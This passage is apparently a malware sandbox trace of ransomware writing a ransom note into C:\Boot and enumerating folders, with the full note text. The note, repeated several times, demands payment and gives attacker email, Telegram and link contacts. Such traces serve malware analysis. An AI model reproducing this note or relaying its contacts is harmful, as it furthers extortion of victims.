returned 0x0 [0124.431] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.431] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.431] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.431] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0124.431] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.431] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.431] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0124.432] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30f90a8 [0124.432] lstrcpyW (in: lpString1=0x30f90a8, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.432] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.432] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.432] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.432] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.432] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.432] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.432] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.432] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.432] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.432] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.432] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x75a53af0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x75a53af0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0124.432] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x75759f70, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0124.432] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0124.432] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0124.432] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0124.432] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x3076e18 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.433] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x38) returned 0x306c8e0 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076ee0 | out: hHeap=0x5c0000) returned 1 [0124.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x5c0000) returned 1 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.433] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x54) returned 0x3061720 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x5c0000) returned 1 [0124.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x306c8e0 | out: hHeap=0x5c0000) returned 1 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.433] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.433] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.433] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040450 [0124.434] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa8) returned 0x2fd8818 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040ce8 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x678f70 [0124.434] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.434] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfc) returned 0x3098bf8 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3040450 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074f40 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074f68 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074f90 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074fb8 [0124.434] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.434] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.435] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0124.435] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16c) returned 0x308d780 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e90 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3074fe0 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075008 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075030 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075058 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075080 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30750a8 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30750d0 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30750f8 [0124.435] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e18 [0124.435] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076df0 [0124.435] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.435] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.436] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, 